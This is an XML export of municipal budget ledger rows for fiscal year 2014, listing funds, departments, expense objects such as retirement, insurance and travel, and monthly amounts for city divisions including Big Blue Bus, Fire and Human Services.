<row _id="10924"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9674.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9674.0</total></row>
<row _id="10925"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407910.0</object><object_description>CAP GRNTS - PRP 1B SECURITY</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>-516483.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-516483.0</total></row>
<row _id="10926"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-155000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-155000.0</total></row>
<row _id="10927"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8738.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>42.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8780.0</total></row>
<row _id="10928"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4410.0</july><august>0</august><september>0</september><october>0</october><november>2619.0</november><december>487</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7516.0</total></row>
<row _id="10929"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1353.0</total></row>
<row _id="10930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1983.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>28</december><january>74.78</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2085.78</total></row>
<row _id="10931"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5981.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>35</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6016.0</total></row>
<row _id="10932"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1762.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1762.0</total></row>
<row _id="10933"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3216.0</total></row>
<row _id="10934"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1879.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1879.0</total></row>
<row _id="10935"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8823.0</total></row>
<row _id="10936"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="10937"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>816.0</total></row>
<row _id="10938"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="10939"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="10940"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>444094.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>6566</april><may>0</may><june>0.0</june><total>450660.0</total></row>
<row _id="10941"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>219.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>219.0</total></row>
<row _id="10942"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>104725.46</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-35000</december><january>30000.0</january><february>0</february><march>-5000</march><april>0</april><may>0</may><june>-39000.0</june><total>55725.46</total></row>
<row _id="10943"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14288.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14288.0</total></row>
<row _id="10944"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28260.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28260.0</total></row>
<row _id="10945"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>88793.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88793.0</total></row>
<row _id="10946"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4196.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4196.0</total></row>
<row _id="10947"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26337.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26337.0</total></row>
<row _id="10948"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="10949"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41328.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41328.0</total></row>
<row _id="10950"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3282.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3282.0</total></row>
<row _id="10951"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57330.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57330.0</total></row>
<row _id="10952"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="10953"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2005.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2005.0</total></row>
<row _id="10954"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="10955"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="10956"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578470.0</object><object_description>GROUNDSKEEPING TRANSFER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>78409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78409.0</total></row>
<row _id="10957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6906.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6906.0</total></row>
<row _id="10958"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>509972.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>4005</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>513977.0</total></row>
<row _id="10959"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4868.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4868.0</total></row>
<row _id="10960"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1911.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1911.0</total></row>
<row _id="10961"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3580.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>31</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3611.0</total></row>
<row _id="10962"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="10963"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1529.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>54.0</january><february>-139</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1444.0</total></row>
<row _id="10964"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10114.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>119</december><january>355.0</january><february>-654</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9934.0</total></row>
<row _id="10965"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6369.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>85</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6454.0</total></row>
<row _id="10966"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>177925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>177925.0</total></row>
<row _id="10967"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>76178.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76178.0</total></row>
<row _id="10968"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2308.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2308.0</total></row>
<row _id="10969"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544440.0</object><object_description>WEBSITE DEVOP &amp; MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5900.0</total></row>
<row _id="10970"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12651.0</total></row>
<row _id="10971"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
